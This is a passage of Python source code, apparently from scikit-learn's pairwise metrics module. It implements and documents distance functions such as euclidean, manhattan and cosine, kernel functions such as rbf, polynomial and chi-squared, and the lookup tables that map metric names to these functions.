        Pre-computed dot-products of vectors in Y (e.g.,
        ``(Y**2).sum(axis=1)``)

    squared : boolean, optional
        Return squared Euclidean distances.

    X_norm_squared : array-like, shape = [n_samples_1], optional
        Pre-computed dot-products of vectors in X (e.g.,
        ``(X**2).sum(axis=1)``)

    Returns
    -------
    distances : {array, sparse matrix}, shape (n_samples_1, n_samples_2)

    Examples
    --------
    >>> from sklearn.metrics.pairwise import euclidean_distances
    >>> X = [[0, 1], [1, 1]]
    >>> # distance between rows of X
    >>> euclidean_distances(X, X)
    array([[ 0.,  1.],
           [ 1.,  0.]])
    >>> # get distance to origin
    >>> euclidean_distances(X, [[0, 0]])
    array([[ 1.        ],
           [ 1.41421356]])

    See also
    --------
    paired_distances : distances betweens pairs of elements of X and Y.
    """
    X, Y = check_pairwise_arrays(X, Y)

    if X_norm_squared is not None:
        XX = check_array(X_norm_squared)
        if XX.shape == (1, X.shape[0]):
            XX = XX.T
        elif XX.shape != (X.shape[0], 1):
            raise ValueError(
                "Incompatible dimensions for X and X_norm_squared")
    else:
        XX = row_norms(X, squared=True)[:, np.newaxis]

    if X is Y:  # shortcut in the common case euclidean_distances(X, X)
        YY = XX.T
    elif Y_norm_squared is not None:
        YY = np.atleast_2d(Y_norm_squared)

        if YY.shape != (1, Y.shape[0]):
            raise ValueError(
                "Incompatible dimensions for Y and Y_norm_squared")
    else:
        YY = row_norms(Y, squared=True)[np.newaxis, :]

    distances = safe_sparse_dot(X, Y.T, dense_output=True)
    distances *= -2
    distances += XX
    distances += YY
    np.maximum(distances, 0, out=distances)

    if X is Y:
        # Ensure that distances between vectors and themselves are set to 0.0.
        # This may not be the case due to floating point rounding errors.
        distances.flat[::distances.shape[0] + 1] = 0.0

    return distances if squared else np.sqrt(distances, out=distances)


def pairwise_distances_argmin_min(X, Y, axis=1, metric="euclidean",
                                  batch_size=500, metric_kwargs=None):
    """Compute minimum distances between one point and a set of points.

    This function computes for each row in X, the index of the row of Y which
    is closest (according to the specified distance). The minimal distances are
    also returned.

    This is mostly equivalent to calling:

        (pairwise_distances(X, Y=Y, metric=metric).argmin(axis=axis),
         pairwise_distances(X, Y=Y, metric=metric).min(axis=axis))

    but uses much less memory, and is faster for large arrays.

    Parameters
    ----------
    X, Y : {array-like, sparse matrix}
        Arrays containing points. Respective shapes (n_samples1, n_features)
        and (n_samples2, n_features)

    batch_size : integer
        To reduce memory consumption over the naive solution, data are
        processed in batches, comprising batch_size rows of X and
        batch_size rows of Y. The default value is quite conservative, but
        can be changed for fine-tuning. The larger the number, the larger the
        memory usage.

    metric : string or callable, default 'euclidean'
        metric to use for distance computation. Any metric from scikit-learn
        or scipy.spatial.distance can be used.

        If metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays as input and return one value indicating the
        distance between them. This works for Scipy's metrics, but is less
        efficient than passing the metric name as a string.

        Distance matrices are not supported.

        Valid values for metric are:

        - from scikit-learn: ['cityblock', 'cosine', 'euclidean', 'l1', 'l2',
          'manhattan']

        - from scipy.spatial.distance: ['braycurtis', 'canberra', 'chebyshev',
          'correlation', 'dice', 'hamming', 'jaccard', 'kulsinski',
          'mahalanobis', 'matching', 'minkowski', 'rogerstanimoto',
          'russellrao', 'seuclidean', 'sokalmichener', 'sokalsneath',
          'sqeuclidean', 'yule']

        See the documentation for scipy.spatial.distance for details on these
        metrics.

    metric_kwargs : dict, optional
        Keyword arguments to pass to specified metric function.

    axis : int, optional, default 1
        Axis along which the argmin and distances are to be computed.

    Returns
    -------
    argmin : numpy.ndarray
        Y[argmin[i], :] is the row in Y that is closest to X[i, :].

    distances : numpy.ndarray
        distances[i] is the distance between the i-th row in X and the
        argmin[i]-th row in Y.

    See also
    --------
    sklearn.metrics.pairwise_distances
    sklearn.metrics.pairwise_distances_argmin
    """
    dist_func = None
    if metric in PAIRWISE_DISTANCE_FUNCTIONS:
        dist_func = PAIRWISE_DISTANCE_FUNCTIONS[metric]
    elif not callable(metric) and not isinstance(metric, str):
        raise ValueError("'metric' must be a string or a callable")

    X, Y = check_pairwise_arrays(X, Y)

    if metric_kwargs is None:
        metric_kwargs = {}

    if axis == 0:
        X, Y = Y, X

    # Allocate output arrays
    indices = np.empty(X.shape[0], dtype=np.intp)
    values = np.empty(X.shape[0])
    values.fill(np.infty)

    for chunk_x in gen_batches(X.shape[0], batch_size):
        X_chunk = X[chunk_x, :]

        for chunk_y in gen_batches(Y.shape[0], batch_size):
            Y_chunk = Y[chunk_y, :]

            if dist_func is not None:
                if metric == 'euclidean':  # special case, for speed
                    d_chunk = safe_sparse_dot(X_chunk, Y_chunk.T,
                                              dense_output=True)
                    d_chunk *= -2
                    d_chunk += row_norms(X_chunk, squared=True)[:, np.newaxis]
                    d_chunk += row_norms(Y_chunk, squared=True)[np.newaxis, :]
                    np.maximum(d_chunk, 0, d_chunk)
                else:
                    d_chunk = dist_func(X_chunk, Y_chunk, **metric_kwargs)
            else:
                d_chunk = pairwise_distances(X_chunk, Y_chunk,
                                             metric=metric, **metric_kwargs)

            # Update indices and minimum values using chunk
            min_indices = d_chunk.argmin(axis=1)
            min_values = d_chunk[np.arange(chunk_x.stop - chunk_x.start),
                                 min_indices]

            flags = values[chunk_x] > min_values
            indices[chunk_x][flags] = min_indices[flags] + chunk_y.start
            values[chunk_x][flags] = min_values[flags]

    if metric == "euclidean" and not metric_kwargs.get("squared", False):
        np.sqrt(values, values)
    return indices, values


def pairwise_distances_argmin(X, Y, axis=1, metric="euclidean",
                              batch_size=500, metric_kwargs=None):
    """Compute minimum distances between one point and a set of points.

    This function computes for each row in X, the index of the row of Y which
    is closest (according to the specified distance).

    This is mostly equivalent to calling:

        pairwise_distances(X, Y=Y, metric=metric).argmin(axis=axis)

    but uses much less memory, and is faster for large arrays.

    This function works with dense 2D arrays only.

    Parameters
    ----------
    X : array-like
        Arrays containing points. Respective shapes (n_samples1, n_features)
        and (n_samples2, n_features)

    Y : array-like
        Arrays containing points. Respective shapes (n_samples1, n_features)
        and (n_samples2, n_features)

    batch_size : integer
        To reduce memory consumption over the naive solution, data are
        processed in batches, comprising batch_size rows of X and
        batch_size rows of Y. The default value is quite conservative, but
        can be changed for fine-tuning. The larger the number, the larger the
        memory usage.

    metric : string or callable
        metric to use for distance computation. Any metric from scikit-learn
        or scipy.spatial.distance can be used.

        If metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays as input and return one value indicating the
        distance between them. This works for Scipy's metrics, but is less
        efficient than passing the metric name as a string.

        Distance matrices are not supported.

        Valid values for metric are:

        - from scikit-learn: ['cityblock', 'cosine', 'euclidean', 'l1', 'l2',
          'manhattan']

        - from scipy.spatial.distance: ['braycurtis', 'canberra', 'chebyshev',
          'correlation', 'dice', 'hamming', 'jaccard', 'kulsinski',
          'mahalanobis', 'matching', 'minkowski', 'rogerstanimoto',
          'russellrao', 'seuclidean', 'sokalmichener', 'sokalsneath',
          'sqeuclidean', 'yule']

        See the documentation for scipy.spatial.distance for details on these
        metrics.

    metric_kwargs : dict
        keyword arguments to pass to specified metric function.

    axis : int, optional, default 1
        Axis along which the argmin and distances are to be computed.

    Returns
    -------
    argmin : numpy.ndarray
        Y[argmin[i], :] is the row in Y that is closest to X[i, :].

    See also
    --------
    sklearn.metrics.pairwise_distances
    sklearn.metrics.pairwise_distances_argmin_min
    """
    if metric_kwargs is None:
        metric_kwargs = {}

    return pairwise_distances_argmin_min(X, Y, axis, metric, batch_size,
                                         metric_kwargs)[0]


def manhattan_distances(X, Y=None, sum_over_features=True,
                        size_threshold=5e8):
    """ Compute the L1 distances between the vectors in X and Y.

    With sum_over_features equal to False it returns the componentwise
    distances.

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array_like
        An array with shape (n_samples_X, n_features).

    Y : array_like, optional
        An array with shape (n_samples_Y, n_features).

    sum_over_features : bool, default=True
        If True the function returns the pairwise distance matrix
        else it returns the componentwise L1 pairwise-distances.
        Not supported for sparse matrix inputs.

    size_threshold : int, default=5e8
        Unused parameter.

    Returns
    -------
    D : array
        If sum_over_features is False shape is
        (n_samples_X * n_samples_Y, n_features) and D contains the
        componentwise L1 pairwise-distances (ie. absolute difference),
        else shape is (n_samples_X, n_samples_Y) and D contains
        the pairwise L1 distances.

    Examples
    --------
    >>> from sklearn.metrics.pairwise import manhattan_distances
    >>> manhattan_distances([[3]], [[3]])#doctest:+ELLIPSIS
    array([[ 0.]])
    >>> manhattan_distances([[3]], [[2]])#doctest:+ELLIPSIS
    array([[ 1.]])
    >>> manhattan_distances([[2]], [[3]])#doctest:+ELLIPSIS
    array([[ 1.]])
    >>> manhattan_distances([[1, 2], [3, 4]],\
         [[1, 2], [0, 3]])#doctest:+ELLIPSIS
    array([[ 0.,  2.],
           [ 4.,  4.]])
    >>> import numpy as np
    >>> X = np.ones((1, 2))
    >>> y = 2 * np.ones((2, 2))
    >>> manhattan_distances(X, y, sum_over_features=False)#doctest:+ELLIPSIS
    array([[ 1.,  1.],
           [ 1.,  1.]]...)
    """
    X, Y = check_pairwise_arrays(X, Y)

    if issparse(X) or issparse(Y):
        if not sum_over_features:
            raise TypeError("sum_over_features=%r not supported"
                            " for sparse matrices" % sum_over_features)

        X = csr_matrix(X, copy=False)
        Y = csr_matrix(Y, copy=False)
        D = np.zeros((X.shape[0], Y.shape[0]))
        _sparse_manhattan(X.data, X.indices, X.indptr,
                          Y.data, Y.indices, Y.indptr,
                          X.shape[1], D)
        return D

    if sum_over_features:
        return distance.cdist(X, Y, 'cityblock')

    D = X[:, np.newaxis, :] - Y[np.newaxis, :, :]
    D = np.abs(D, D)
    return D.reshape((-1, X.shape[1]))


def cosine_distances(X, Y=None):
    """Compute cosine distance between samples in X and Y.

    Cosine distance is defined as 1.0 minus the cosine similarity.

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array_like, sparse matrix
        with shape (n_samples_X, n_features).

    Y : array_like, sparse matrix (optional)
        with shape (n_samples_Y, n_features).

    Returns
    -------
    distance matrix : array
        An array with shape (n_samples_X, n_samples_Y).

    See also
    --------
    sklearn.metrics.pairwise.cosine_similarity
    scipy.spatial.distance.cosine (dense matrices only)
    """
    # 1.0 - cosine_similarity(X, Y) without copy
    S = cosine_similarity(X, Y)
    S *= -1
    S += 1
    return S


# Paired distances
def paired_euclidean_distances(X, Y):
    """
    Computes the paired euclidean distances between X and Y

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)

    Y : array-like, shape (n_samples, n_features)

    Returns
    -------
    distances : ndarray (n_samples, )
    """
    X, Y = check_paired_arrays(X, Y)
    return row_norms(X - Y)


def paired_manhattan_distances(X, Y):
    """Compute the L1 distances between the vectors in X and Y.

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)

    Y : array-like, shape (n_samples, n_features)

    Returns
    -------
    distances : ndarray (n_samples, )
    """
    X, Y = check_paired_arrays(X, Y)
    diff = X - Y
    if issparse(diff):
        diff.data = np.abs(diff.data)
        return np.squeeze(np.array(diff.sum(axis=1)))
    else:
        return np.abs(diff).sum(axis=-1)


def paired_cosine_distances(X, Y):
    """
    Computes the paired cosine distances between X and Y

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_features)

    Y : array-like, shape (n_samples, n_features)

    Returns
    -------
    distances : ndarray, shape (n_samples, )

    Notes
    ------
    The cosine distance is equivalent to the half the squared
    euclidean distance if each sample is normalized to unit norm
    """
    X, Y = check_paired_arrays(X, Y)
    return .5 * row_norms(normalize(X) - normalize(Y), squared=True)


PAIRED_DISTANCES = {
    'cosine': paired_cosine_distances,
    'euclidean': paired_euclidean_distances,
    'l2': paired_euclidean_distances,
    'l1': paired_manhattan_distances,
    'manhattan': paired_manhattan_distances,
    'cityblock': paired_manhattan_distances}


def paired_distances(X, Y, metric="euclidean", **kwds):
    """
    Computes the paired distances between X and Y.

    Computes the distances between (X[0], Y[0]), (X[1], Y[1]), etc...

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : ndarray (n_samples, n_features)
        Array 1 for distance computation.

    Y : ndarray (n_samples, n_features)
        Array 2 for distance computation.

    metric : string or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string, it must be one of the options
        specified in PAIRED_DISTANCES, including "euclidean",
        "manhattan", or "cosine".
        Alternatively, if metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays from X as input and return a value indicating
        the distance between them.

    Returns
    -------
    distances : ndarray (n_samples, )

    Examples
    --------
    >>> from sklearn.metrics.pairwise import paired_distances
    >>> X = [[0, 1], [1, 1]]
    >>> Y = [[0, 1], [2, 1]]
    >>> paired_distances(X, Y)
    array([ 0.,  1.])

    See also
    --------
    pairwise_distances : pairwise distances.
    """

    if metric in PAIRED_DISTANCES:
        func = PAIRED_DISTANCES[metric]
        return func(X, Y)
    elif callable(metric):
        # Check the matrix first (it is usually done by the metric)
        X, Y = check_paired_arrays(X, Y)
        distances = np.zeros(len(X))
        for i in range(len(X)):
            distances[i] = metric(X[i], Y[i])
        return distances
    else:
        raise ValueError('Unknown distance %s' % metric)


# Kernels
def linear_kernel(X, Y=None):
    """
    Compute the linear kernel between X and Y.

    Read more in the :ref:`User Guide <linear_kernel>`.

    Parameters
    ----------
    X : array of shape (n_samples_1, n_features)

    Y : array of shape (n_samples_2, n_features)

    Returns
    -------
    Gram matrix : array of shape (n_samples_1, n_samples_2)
    """
    X, Y = check_pairwise_arrays(X, Y)
    return safe_sparse_dot(X, Y.T, dense_output=True)


def polynomial_kernel(X, Y=None, degree=3, gamma=None, coef0=1):
    """
    Compute the polynomial kernel between X and Y::

        K(X, Y) = (gamma <X, Y> + coef0)^degree

    Read more in the :ref:`User Guide <polynomial_kernel>`.

    Parameters
    ----------
    X : ndarray of shape (n_samples_1, n_features)

    Y : ndarray of shape (n_samples_2, n_features)

    degree : int, default 3

    gamma : float, default None
        if None, defaults to 1.0 / n_samples_1

    coef0 : int, default 1

    Returns
    -------
    Gram matrix : array of shape (n_samples_1, n_samples_2)
    """
    X, Y = check_pairwise_arrays(X, Y)
    if gamma is None:
        gamma = 1.0 / X.shape[1]

    K = safe_sparse_dot(X, Y.T, dense_output=True)
    K *= gamma
    K += coef0
    K **= degree
    return K


def sigmoid_kernel(X, Y=None, gamma=None, coef0=1):
    """
    Compute the sigmoid kernel between X and Y::

        K(X, Y) = tanh(gamma <X, Y> + coef0)

    Read more in the :ref:`User Guide <sigmoid_kernel>`.

    Parameters
    ----------
    X : ndarray of shape (n_samples_1, n_features)

    Y : ndarray of shape (n_samples_2, n_features)

    gamma : float, default None
        If None, defaults to 1.0 / n_samples_1

    coef0 : int, default 1

    Returns
    -------
    Gram matrix: array of shape (n_samples_1, n_samples_2)
    """
    X, Y = check_pairwise_arrays(X, Y)
    if gamma is None:
        gamma = 1.0 / X.shape[1]

    K = safe_sparse_dot(X, Y.T, dense_output=True)
    K *= gamma
    K += coef0
    np.tanh(K, K)   # compute tanh in-place
    return K


def rbf_kernel(X, Y=None, gamma=None):
    """
    Compute the rbf (gaussian) kernel between X and Y::

        K(x, y) = exp(-gamma ||x-y||^2)

    for each pair of rows x in X and y in Y.

    Read more in the :ref:`User Guide <rbf_kernel>`.

    Parameters
    ----------
    X : array of shape (n_samples_X, n_features)

    Y : array of shape (n_samples_Y, n_features)

    gamma : float, default None
        If None, defaults to 1.0 / n_samples_X

    Returns
    -------
    kernel_matrix : array of shape (n_samples_X, n_samples_Y)
    """
    X, Y = check_pairwise_arrays(X, Y)
    if gamma is None:
        gamma = 1.0 / X.shape[1]

    K = euclidean_distances(X, Y, squared=True)
    K *= -gamma
    np.exp(K, K)    # exponentiate K in-place
    return K


def laplacian_kernel(X, Y=None, gamma=None):
    """Compute the laplacian kernel between X and Y.

    The laplacian kernel is defined as::

        K(x, y) = exp(-gamma ||x-y||_1)

    for each pair of rows x in X and y in Y.
    Read more in the :ref:`User Guide <laplacian_kernel>`.

    .. versionadded:: 0.17

    Parameters
    ----------
    X : array of shape (n_samples_X, n_features)

    Y : array of shape (n_samples_Y, n_features)

    gamma : float, default None
        If None, defaults to 1.0 / n_samples_X

    Returns
    -------
    kernel_matrix : array of shape (n_samples_X, n_samples_Y)
    """
    X, Y = check_pairwise_arrays(X, Y)
    if gamma is None:
        gamma = 1.0 / X.shape[1]

    K = -gamma * manhattan_distances(X, Y)
    np.exp(K, K)    # exponentiate K in-place
    return K


def cosine_similarity(X, Y=None, dense_output=True):
    """Compute cosine similarity between samples in X and Y.

    Cosine similarity, or the cosine kernel, computes similarity as the
    normalized dot product of X and Y:

        K(X, Y) = <X, Y> / (||X||*||Y||)

    On L2-normalized data, this function is equivalent to linear_kernel.

    Read more in the :ref:`User Guide <cosine_similarity>`.

    Parameters
    ----------
    X : ndarray or sparse array, shape: (n_samples_X, n_features)
        Input data.

    Y : ndarray or sparse array, shape: (n_samples_Y, n_features)
        Input data. If ``None``, the output will be the pairwise
        similarities between all samples in ``X``.

    dense_output : boolean (optional), default True
        Whether to return dense output even when the input is sparse. If
        ``False``, the output is sparse if both input arrays are sparse.

        .. versionadded:: 0.17
           parameter ``dense_output`` for dense output.

    Returns
    -------
    kernel matrix : array
        An array with shape (n_samples_X, n_samples_Y).
    """
    # to avoid recursive import

    X, Y = check_pairwise_arrays(X, Y)

    X_normalized = normalize(X, copy=True)
    if X is Y:
        Y_normalized = X_normalized
    else:
        Y_normalized = normalize(Y, copy=True)

    K = safe_sparse_dot(X_normalized, Y_normalized.T, dense_output=dense_output)

    return K


def additive_chi2_kernel(X, Y=None):
    """Computes the additive chi-squared kernel between observations in X and Y

    The chi-squared kernel is computed between each pair of rows in X and Y.  X
    and Y have to be non-negative. This kernel is most commonly applied to
    histograms.

    The chi-squared kernel is given by::

        k(x, y) = -Sum [(x - y)^2 / (x + y)]

    It can be interpreted as a weighted difference per entry.

    Read more in the :ref:`User Guide <chi2_kernel>`.

    Notes
    -----
    As the negative of a distance, this kernel is only conditionally positive
    definite.


    Parameters
    ----------
    X : array-like of shape (n_samples_X, n_features)

    Y : array of shape (n_samples_Y, n_features)

    Returns
    -------
    kernel_matrix : array of shape (n_samples_X, n_samples_Y)

    References
    ----------
    * Zhang, J. and Marszalek, M. and Lazebnik, S. and Schmid, C.
      Local features and kernels for classification of texture and object
      categories: A comprehensive study
      International Journal of Computer Vision 2007
      http://research.microsoft.com/en-us/um/people/manik/projects/trade-off/papers/ZhangIJCV06.pdf


    See also
    --------
    chi2_kernel : The exponentiated version of the kernel, which is usually
        preferable.

    sklearn.kernel_approximation.AdditiveChi2Sampler : A Fourier approximation
        to this kernel.
    """
    if issparse(X) or issparse(Y):
        raise ValueError("additive_chi2 does not support sparse matrices.")
    X, Y = check_pairwise_arrays(X, Y)
    if (X < 0).any():
        raise ValueError("X contains negative values.")
    if Y is not X and (Y < 0).any():
        raise ValueError("Y contains negative values.")

    result = np.zeros((X.shape[0], Y.shape[0]), dtype=X.dtype)
    _chi2_kernel_fast(X, Y, result)
    return result


def chi2_kernel(X, Y=None, gamma=1.):
    """Computes the exponential chi-squared kernel X and Y.

    The chi-squared kernel is computed between each pair of rows in X and Y.  X
    and Y have to be non-negative. This kernel is most commonly applied to
    histograms.

    The chi-squared kernel is given by::

        k(x, y) = exp(-gamma Sum [(x - y)^2 / (x + y)])

    It can be interpreted as a weighted difference per entry.

    Read more in the :ref:`User Guide <chi2_kernel>`.

    Parameters
    ----------
    X : array-like of shape (n_samples_X, n_features)

    Y : array of shape (n_samples_Y, n_features)

    gamma : float, default=1.
        Scaling parameter of the chi2 kernel.

    Returns
    -------
    kernel_matrix : array of shape (n_samples_X, n_samples_Y)

    References
    ----------
    * Zhang, J. and Marszalek, M. and Lazebnik, S. and Schmid, C.
      Local features and kernels for classification of texture and object
      categories: A comprehensive study
      International Journal of Computer Vision 2007
      http://research.microsoft.com/en-us/um/people/manik/projects/trade-off/papers/ZhangIJCV06.pdf

    See also
    --------
    additive_chi2_kernel : The additive version of this kernel

    sklearn.kernel_approximation.AdditiveChi2Sampler : A Fourier approximation
        to the additive version of this kernel.
    """
    K = additive_chi2_kernel(X, Y)
    K *= gamma
    return np.exp(K, K)


# Helper functions - distance
PAIRWISE_DISTANCE_FUNCTIONS = {
    # If updating this dictionary, update the doc in both distance_metrics()
    # and also in pairwise_distances()!
    'cityblock': manhattan_distances,
    'cosine': cosine_distances,
    'euclidean': euclidean_distances,
    'l2': euclidean_distances,
    'l1': manhattan_distances,
    'manhattan': manhattan_distances,
    'precomputed': None,  # HACK: precomputed is always allowed, never called
}


def distance_metrics():
    """Valid metrics for pairwise_distances.

    This function simply returns the valid pairwise distance metrics.
    It exists to allow for a description of the mapping for
    each of the valid strings.

    The valid distance metrics, and the function they map to, are:

    ============     ====================================
    metric           Function
    ============     ====================================
    'cityblock'      metrics.pairwise.manhattan_distances
    'cosine'         metrics.pairwise.cosine_distances
    'euclidean'      metrics.pairwise.euclidean_distances
    'l1'             metrics.pairwise.manhattan_distances
    'l2'             metrics.pairwise.euclidean_distances
    'manhattan'      metrics.pairwise.manhattan_distances
    ============     ====================================

    Read more in the :ref:`User Guide <metrics>`.

    """
    return PAIRWISE_DISTANCE_FUNCTIONS


def _parallel_pairwise(X, Y, func, n_jobs, **kwds):
    """Break the pairwise matrix in n_jobs even slices
    and compute them in parallel"""
    if n_jobs < 0:
        n_jobs = max(cpu_count() + 1 + n_jobs, 1)

    if Y is None:
        Y = X

    if n_jobs == 1:
        # Special case to avoid picklability checks in delayed
        return func(X, Y, **kwds)

    # TODO: in some cases, backend='threading' may be appropriate
    fd = delayed(func)
    ret = Parallel(n_jobs=n_jobs, verbose=0)(
        fd(X, Y[s], **kwds)
        for s in gen_even_slices(Y.shape[0], n_jobs))

    return np.hstack(ret)


def _pairwise_callable(X, Y, metric, **kwds):
    """Handle the callable case for pairwise_{distances,kernels}
    """
    X, Y = check_pairwise_arrays(X, Y)

    if X is Y:
        # Only calculate metric for upper triangle
        out = np.zeros((X.shape[0], Y.shape[0]), dtype='float')
        iterator = itertools.combinations(range(X.shape[0]), 2)
        for i, j in iterator:
            out[i, j] = metric(X[i], Y[j], **kwds)

        # Make symmetric
        # NB: out += out.T will produce incorrect results
        out = out + out.T

        # Calculate diagonal
        # NB: nonzero diagonals are allowed for both metrics and kernels
        for i in range(X.shape[0]):
            x = X[i]
            out[i, i] = metric(x, x, **kwds)

    else:
        # Calculate all cells
        out = np.empty((X.shape[0], Y.shape[0]), dtype='float')
        iterator = itertools.product(range(X.shape[0]), range(Y.shape[0]))
        for i, j in iterator:
            out[i, j] = metric(X[i], Y[j], **kwds)

    return out


_VALID_METRICS = ['euclidean', 'l2', 'l1', 'manhattan', 'cityblock',
                  'braycurtis', 'canberra', 'chebyshev', 'correlation',
                  'cosine', 'dice', 'hamming', 'jaccard', 'kulsinski',
                  'mahalanobis', 'matching', 'minkowski', 'rogerstanimoto',
                  'russellrao', 'seuclidean', 'sokalmichener',
                  'sokalsneath', 'sqeuclidean', 'yule', "wminkowski"]


def pairwise_distances(X, Y=None, metric="euclidean", n_jobs=1, **kwds):
    """ Compute the distance matrix from a vector array X and optional Y.

    This method takes either a vector array or a distance matrix, and returns
    a distance matrix. If the input is a vector array, the distances are
    computed. If the input is a distances matrix, it is returned instead.

    This method provides a safe way to take a distance matrix as input, while
    preserving compatibility with many other algorithms that take a vector
    array.

    If Y is given (default is None), then the returned matrix is the pairwise
    distance between the arrays from both X and Y.

    Valid values for metric are:

    - From scikit-learn: ['cityblock', 'cosine', 'euclidean', 'l1', 'l2',
      'manhattan']. These metrics support sparse matrix inputs.

    - From scipy.spatial.distance: ['braycurtis', 'canberra', 'chebyshev',
      'correlation', 'dice', 'hamming', 'jaccard', 'kulsinski', 'mahalanobis',
      'matching', 'minkowski', 'rogerstanimoto', 'russellrao', 'seuclidean',
      'sokalmichener', 'sokalsneath', 'sqeuclidean', 'yule']
      See the documentation for scipy.spatial.distance for details on these
      metrics. These metrics do not support sparse matrix inputs.

    Note that in the case of 'cityblock', 'cosine' and 'euclidean' (which are
    valid scipy.spatial.distance metrics), the scikit-learn implementation
    will be used, which is faster and has support for sparse matrices (except
    for 'cityblock'). For a verbose description of the metrics from
    scikit-learn, see the __doc__ of the sklearn.pairwise.distance_metrics
    function.

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array [n_samples_a, n_samples_a] if metric == "precomputed", or, \
             [n_samples_a, n_features] otherwise
        Array of pairwise distances between samples, or a feature array.

    Y : array [n_samples_b, n_features], optional
        An optional second feature array. Only allowed if metric != "precomputed".

    metric : string, or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string, it must be one of the options
        allowed by scipy.spatial.distance.pdist for its metric parameter, or
        a metric listed in pairwise.PAIRWISE_DISTANCE_FUNCTIONS.
        If metric is "precomputed", X is assumed to be a distance matrix.
        Alternatively, if metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays from X as input and return a value indicating
        the distance between them.

    n_jobs : int
        The number of jobs to use for the computation. This works by breaking
        down the pairwise matrix into n_jobs even slices and computing them in
        parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    `**kwds` : optional keyword parameters
        Any further parameters are passed directly to the distance function.
        If using a scipy.spatial.distance metric, the parameters are still
        metric dependent. See the scipy docs for usage examples.

    Returns
    -------
    D : array [n_samples_a, n_samples_a] or [n_samples_a, n_samples_b]
        A distance matrix D such that D_{i, j} is the distance between the
        ith and jth vectors of the given matrix X, if Y is None.
        If Y is not None, then D_{i, j} is the distance between the ith array
        from X and the jth array from Y.

    """
    if (metric not in _VALID_METRICS and
            not callable(metric) and metric != "precomputed"):
        raise ValueError("Unknown metric %s. "
                         "Valid metrics are %s, or 'precomputed', or a "
                         "callable" % (metric, _VALID_METRICS))

    if metric == "precomputed":
        X, _ = check_pairwise_arrays(X, Y, precomputed=True)
        return X
    elif metric in PAIRWISE_DISTANCE_FUNCTIONS:
        func = PAIRWISE_DISTANCE_FUNCTIONS[metric]
    elif callable(metric):
        func = partial(_pairwise_callable, metric=metric, **kwds)
    else:
        if issparse(X) or issparse(Y):
            raise TypeError("scipy distance metrics do not"
                            " support sparse matrices.")

        dtype = bool if metric in PAIRWISE_BOOLEAN_FUNCTIONS else None

        X, Y = check_pairwise_arrays(X, Y, dtype=dtype)

        if n_jobs == 1 and X is Y:
            return distance.squareform(distance.pdist(X, metric=metric,
                                                      **kwds))
        func = partial(distance.cdist, metric=metric, **kwds)

    return _parallel_pairwise(X, Y, func, n_jobs, **kwds)


# These distances recquire boolean arrays, when using scipy.spatial.distance
PAIRWISE_BOOLEAN_FUNCTIONS = [
    'dice',
    'jaccard',
    'kulsinski',
    'matching',
    'rogerstanimoto',
    'russellrao',
    'sokalmichener',
    'sokalsneath',
    'yule',
]


# Helper functions - distance
PAIRWISE_KERNEL_FUNCTIONS = {
    # If updating this dictionary, update the doc in both distance_metrics()
    # and also in pairwise_distances()!
    'additive_chi2': additive_chi2_kernel,
    'chi2': chi2_kernel,
    'linear': linear_kernel,
    'polynomial': polynomial_kernel,
    'poly': polynomial_kernel,
    'rbf': rbf_kernel,
    'laplacian': laplacian_kernel,
    'sigmoid': sigmoid_kernel,
    'cosine': cosine_similarity, }


def kernel_metrics():
    """ Valid metrics for pairwise_kernels

    This function simply returns the valid pairwise distance metrics.
    It exists, however, to allow for a verbose description of the mapping for
    each of the valid strings.

    The valid distance metrics, and the function they map to, are:
      ===============   ========================================
      metric            Function
      ===============   ========================================
      'additive_chi2'   sklearn.pairwise.additive_chi2_kernel
      'chi2'            sklearn.pairwise.chi2_kernel
      'linear'          sklearn.pairwise.linear_kernel
      'poly'            sklearn.pairwise.polynomial_kernel
      'polynomial'      sklearn.pairwise.polynomial_kernel
      'rbf'             sklearn.pairwise.rbf_kernel
      'laplacian'       sklearn.pairwise.laplacian_kernel
      'sigmoid'         sklearn.pairwise.sigmoid_kernel
      'cosine'          sklearn.pairwise.cosine_similarity
      ===============   ========================================

    Read more in the :ref:`User Guide <metrics>`.
    """
    return PAIRWISE_KERNEL_FUNCTIONS


KERNEL_PARAMS = {
    "additive_chi2": (),
    "chi2": (),
    "cosine": (),
    "exp_chi2": frozenset(["gamma"]),
    "linear": (),
    "poly": frozenset(["gamma", "degree", "coef0"]),
    "polynomial": frozenset(["gamma", "degree", "coef0"]),
    "rbf": frozenset(["gamma"]),
    "laplacian": frozenset(["gamma"]),
    "sigmoid": frozenset(["gamma", "coef0"]),
}


def pairwise_kernels(X, Y=None, metric="linear", filter_params=False,
                     n_jobs=1, **kwds):
    """Compute the kernel between arrays X and optional array Y.

    This method takes either a vector array or a kernel matrix, and returns
    a kernel matrix. If the input is a vector array, the kernels are
    computed. If the input is a kernel matrix, it is returned instead.

    This method provides a safe way to take a kernel matrix as input, while
    preserving compatibility with many other algorithms that take a vector
    array.

    If Y is given (default is None), then the returned matrix is the pairwise
    kernel between the arrays from both X and Y.

    Valid values for metric are::
        ['rbf', 'sigmoid', 'polynomial', 'poly', 'linear', 'cosine']

    Read more in the :ref:`User Guide <metrics>`.

    Parameters
    ----------
    X : array [n_samples_a, n_samples_a] if metric == "precomputed", or, \
             [n_samples_a, n_features] otherwise
        Array of pairwise kernels between samples, or a feature array.

    Y : array [n_samples_b, n_features]
        A second feature array only if X has shape [n_samples_a, n_features].

    metric : string, or callable
        The metric to use when calculating kernel between instances in a
